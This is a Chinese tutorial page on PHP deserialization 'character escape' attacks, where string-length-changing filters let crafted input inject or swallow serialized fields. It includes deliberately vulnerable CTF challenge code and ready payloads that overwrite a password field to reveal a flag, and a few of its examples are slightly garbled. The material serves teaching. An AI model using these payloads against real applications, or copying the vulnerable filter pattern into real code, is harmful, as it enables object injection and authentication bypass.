詳解php反序列化之字符逃逸法
按我的理解,反序列化的過程就是碰到;}與最前面的{配對后,便停止反序列化。如下序列化:
<?php
class Test {
public $a = "aa";
public $b = "bbb";
public $c = "cccc";
}
$qwe = new Test();
echo serialize($qwe);輸出序列化結(jié)果為:O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}
添加;}進行嘗試:
O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}修改為
O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahhahha 并嘗試反序列化
print_r(serialize($qwe));
?
echo "
";
?
print_r(unserialize('O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahhaha'));
?
?
O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}
Test Object
(
[a] => aa
[b] => bbb
[c] => cccc
)
我們發(fā)現(xiàn)成功進行了反序列化操作,并且沒有出現(xiàn)報錯,因此可以說明反序列化以;}為結(jié)束標志,后面的內(nèi)容則忽略不管。由此是不是想到了sql注入的相關(guān)知識?二者確實有一定的可類比性,都是通過構(gòu)造閉合的方式構(gòu)造payload,只不過字符逃逸構(gòu)造閉合注意點在長度,因為閉合標志固定,都是;}
值得一提的是,php中可以通過修改序列化后的字符串來反序列化出原本類中不存在的元素,如下:

在unserialize的時候, 當你的字符串長度與所描述的長度不一樣時就會報錯.比如 s:3:"Tom"變成s:4:"Tom"或s:2:"Tom"就會報錯. 可以通過拼接字符串的方式來使它不報錯
所以字符逃逸又分為兩類
關(guān)鍵字符變多和關(guān)鍵字符變少
1.先說關(guān)鍵字符變多
反序列化逃逸的題目,會使用preg_replace函數(shù)替換關(guān)鍵字符,會使得關(guān)鍵字符增多或減少,首先介紹使關(guān)鍵字符增多的。
<?php
highlight_file(__file__);
function filter($str){
return str_replace('l', 'll', $str);
}
?
class person{
public $name = 'lonmar';
public $age = '100';
}
$test = new person();
$test = serialize($test);
echo "</br>";
print_r($test);
echo "</br>";
$test = filter($test);
print_r($test);
print_r(unserialize($test));

因為替換過后,實際長度為7,而描述長度為6,少讀了一個r 所以失敗
這種字符增多是反序列化失敗是因為漏讀了字符串的value,如果構(gòu)造惡意的value,再故意漏讀
如令$name='lonmar";s:3:"age";s:2:"35";}'
如果再進行替換,lonmar=>llonmar,后面的}又讀不到
再多幾個l,lllllllllllllllllllllonmar=>llllllllllllllllllllllllllllllllllllllllllonmar ,";s:3:"age";s:2:"35";}就又讀不到
只能讀到lllllllllllllllllllllonmar這樣后面的;s:3:“age”;s:2:“35”;}就逃逸掉了,逃逸掉的字符串可以把原來后面的正常序列化數(shù)據(jù)提前閉合掉.(閉合條件";}
;s:3:"age";s:2:"35";}長度是22 , 所以只需要22個l,如下:
<?php
function filter($str){
return str_replace('l', 'll', $str);
}
?
class person{
public $name = 'llllllllllllllllllllllonmar";s:3:"age";s:2:"35";}';
public $age = '100';
}
$test = new person();
$test = serialize($test);
var_dump($test);
$test = filter($test);
var_dump($test);
var_dump(unserialize($test));

可以觀察到age變成了35, name不是llllllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:2:"35";} 而是 llllllllllllllllllllllllllllllllllllllllllllonmar 因為;s:3:“age”;s:2:“35”;}逃逸,之后終止標志變成了;s:3:“age”;s:2:“35”;}里的;} 后面的就被忽略了。
例題1
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
?
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
這里要求password=yu22x,但是password的值已經(jīng)設(shè)置好了,這里就是用反序列化字符逃逸使得原本的密碼不被反序列化。 先進行序列化,在本地測試,可以將密碼先改為yu22x,然后進行序列化,
$uname=$_GET[1]; $password='yu22x'; $ser=filter(serialize(new a($uname,$password))); //$test=unserialize($ser); var_dump($ser);
得到結(jié)果
O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:5:"yu22x";}
需要吞掉的部分是";s:8:"password";s:5:"yu22x";}這是30個字符,每替換一次增加2個字符,所以需要15個Firebasky才可以,所以構(gòu)造payload
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
這是需要當作username傳入的參數(shù),其實整個是
O:1:"a":2:{s:5:"uname";s:1:"?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";s:5:"yu22x";}
到第一個;}就會停止反序列化,更改的參數(shù)也是正確的,所以后面的password=1的部分就會被吞掉(忽略)。 反序列化成功就會得到flag。
例題2
上面那個是剛好夠30個被吞掉,每替換一次吞掉兩個字符。 所以算起來比較方便。 這個是不一樣的。
#unctf
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
?
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
?
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
還是在本地替換,替換正確密碼。序列化結(jié)果。
O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:4:"easy";}
這個是替換一次,增加四個。而需要吞掉";s:8:"password";s:4:"easy";}29個字符 無法正好替換,前面使用7個,則少一個,使用8個,則會多7個字符。 所以這里可以使用8個,后面使用一下占位符讓其吞掉,比如;我理解的是因為遇到;}才會結(jié)束反序列化,所以在;前面加7個;使得反序列化成功。
?
1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";};;;;;;;
或者
?
1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";;;;;;;;}
兩個payload都一樣的,可以序列化成功,得到flag
2.關(guān)鍵字符減少
在增加字符串的題目中,我們是利用題中的增加操作,阻止他進行向后吞噬我們構(gòu)造的代碼,而在字符減少的過程中,我們也是利用這個操作.
<?php
highlight_file(__file__);
function filter($str){
return str_replace('ll', 'l', $str);
}
?
class person{
public $name = 'lonmar';
public $age = '100';
}
同樣的,如果構(gòu)造惡意的age,讓反序列化的時候多讀,把age一部分讀進去 同樣可以達到某種目的
正常的數(shù)據(jù) O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"xxx";}
如果做替換,讓也";s:3:"age";s:3:"被讀進name,再把xxx替換為;s:3:“age”;s:3:“100”;}
令$age=123";s:3:"age";s:3:"100";}
O:6:"person":2:{s:4:"name";s:47:"llllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:26:"123";s:3:"age";s:3:"111";}";}
多讀的為 ";s:3:"age";s:26:"123 長度 21
構(gòu)造(l*42)nmar, 就多吞了部分字符串,
name:
llllllllllllllllllllllllllllllllllllllllllonmar =>
lllllllllllllllllllllonmar";s:3:"age";s:26:"123
age:
123";s:3:"age";s:3:"111";}
=>
111

總結(jié)
本篇文章就到這里了,希望能夠給你帶來幫助,也希望您能夠多多關(guān)注腳本之家的更多內(nèi)容!
相關(guān)文章
PHP微信企業(yè)號開發(fā)之回調(diào)模式開啟與用法示例
這篇文章主要介紹了PHP微信企業(yè)號開發(fā)之回調(diào)模式開啟與用法,結(jié)合具體實例形式分析了php微信企業(yè)號回調(diào)模式開啟與使用方法相關(guān)操作技巧,代碼中備有詳盡的注釋說明便于讀者理解,需要的朋友可以參考下2017-11-11
php通過baihui網(wǎng)API實現(xiàn)讀取word文檔并展示
這篇文章主要介紹了php通過baihui網(wǎng)API實現(xiàn)讀取word文檔并展示的相關(guān)資料,需要的朋友可以參考下2015-06-06
PHP正則表達式處理函數(shù)(PCRE 函數(shù))實例小結(jié)
這篇文章主要介紹了PHP正則表達式處理函數(shù)(PCRE 函數(shù)),結(jié)合實例形式總結(jié)分析了php正則表達式preg_replace、preg_match、preg_match_all、preg_split及preg_quote等函數(shù)相關(guān)使用技巧,需要的朋友可以參考下2019-05-05
PHP排序之二維數(shù)組的按照字母排序?qū)崿F(xiàn)代碼
PHP排序之二維數(shù)組的按照字母排序方法,在實際開發(fā)還是非常有用的,有需要的拿去2011-08-08

